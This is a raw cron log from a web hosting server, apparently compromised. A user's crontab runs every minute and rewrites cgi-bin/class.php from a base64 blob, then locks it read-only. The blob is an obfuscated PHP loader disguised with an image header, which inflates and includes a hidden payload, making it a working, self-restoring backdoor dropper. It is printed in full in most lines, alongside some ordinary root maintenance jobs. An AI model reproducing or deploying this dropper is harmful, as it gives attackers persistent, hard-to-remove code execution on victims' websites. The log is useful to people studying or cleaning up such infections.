Nov 13 18:50:01 server CROND[3224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:51:01 server CROND[4172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:52:01 server CROND[5028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:53:01 server CROND[5890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:54:01 server CROND[6534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:55:01 server CROND[7500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:55:01 server CROND[7501]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:55:01 server CROND[7502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:56:01 server CROND[8508]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:57:01 server CROND[9534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:57:01 server CROND[9535]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 18:58:01 server CROND[10399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:59:01 server CROND[11300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:00:01 server CROND[12168]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:00:01 server CROND[12169]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:00:01 server CROND[12171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:00:01 server CROND[12170]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 19:01:01 server CROND[13092]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 19:01:01 server CROND[13093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:01:01 server run-parts(/etc/cron.hourly)[13092]: starting 0anacron
Nov 13 19:01:01 server run-parts(/etc/cron.hourly)[13105]: finished 0anacron
Nov 13 19:02:01 server CROND[14067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
